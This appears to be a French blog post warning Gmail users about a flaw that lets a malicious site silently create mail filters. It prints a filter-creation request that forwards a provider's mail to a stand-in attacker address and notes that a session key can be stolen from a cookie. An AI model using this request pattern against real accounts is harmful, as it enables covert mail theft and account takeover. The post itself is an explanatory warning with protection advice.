Si vous utilisez Gmail, faites attention à vous: une faille de sécurité dans Gmail permet la création de filtres sans être connecté au compte correspondant!


Un filtre? Et alors? Je vois pas le problème!


Bin imaginez 2 secondes un filtre du genre:

Filtre Gmail

Filtre Gmail

Dans le cas présent, le filtre :
– Cherche les mail qui vous sont envoyés provenant d’une adresse précise (votre banque, hébergeur internet…) en l’occurrence « support@godaddy.com ».

- « Saute » la boîte de réception, donc vous ne verrez jamais le mail arriver, il se classe directement dans les mails archivés…
– Transfert le mail vers une autre adresse, celle du pirate, ici « tipiak@hacker.com ».
– Et finalement, supprime le mail de vos messages archivés, de manière à être le plus indétectable possible…


Au final le pirate peut vous espionner pendant un certain temps, demander à votre banque (ou autres) de renvoyer vos identifiants par mail… et s’en servir comme bon lui semble :(



Alors c’est bien beau, mais comment est-ce possible ?

1. Analyse d’une requête de création de filtre sur Gmail:

Pour créer le filtre, le navigateur envoie une requête au serveur gmail:

http://mail.google.com/mail/
?ui=2
&ik=ad7df7dc23 *Identifiant de compte (unique)*
&at=xn3j35svndkg48yp2qgmpt99ivcqdc *Clé d'autorisation de session*
&view=up
&act=cf
&rt=h
&zx=pjo6fg-k2ljzh&search=cf
&cf1_from=support%40godaddy.com
&cf2_emc=true&cf2_email=tipiak%40hacker.com
&cf2_tr=true

Le pirate a donc besoin de 2 variables: Le code utilisateur « ik » et la clé « at« .


2. Récupération des variables:

- La variable ik est récupérable via quelques astuces un peu complexes, mais sans trop de difficultés (une recherche un peu poussée sur google vous donnera la réponse)

- La variable at est un peu plus dure à obtenir:

La variable est présente sous un autre nom dans un autre cookie de Gmail nommé « GMAIL_AT » et un « simple » code malicieux sur un site malveillant permet le vol de la variable présente dans ce cookie…


3. Création du filtre:

Une fois les variables récupérées, le site malveillant envoie une requête de création de filtre sur votre compte Gmail, et le tour est joué.


Comment Google pourrait corriger le problème ?

Simplement en faisant en sorte que la création de filtre ne se fasse pas directement via une adresse internet (Méthode GET).


Comment se protéger ?

Pour se protéger, pas de miracle…

- Faire attention aux sites sur lesquels on surfe.

- Désactiver l’exécution des scripts, via le plugin NoScript dispo pour Firefox.


(Source)